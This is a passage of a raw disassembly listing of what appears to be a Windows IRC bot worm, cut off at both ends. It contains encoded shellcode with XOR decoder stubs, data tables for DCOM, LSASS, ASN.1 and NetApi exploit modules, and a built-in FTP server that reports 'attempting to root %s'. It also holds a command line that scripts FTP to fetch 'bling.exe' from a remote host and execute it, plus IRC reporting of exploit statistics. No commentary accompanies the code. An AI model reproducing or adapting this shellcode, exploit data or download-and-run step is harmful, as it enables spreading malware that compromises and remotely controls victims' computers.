391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db ' %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o ; ___:0042F834o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B3r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 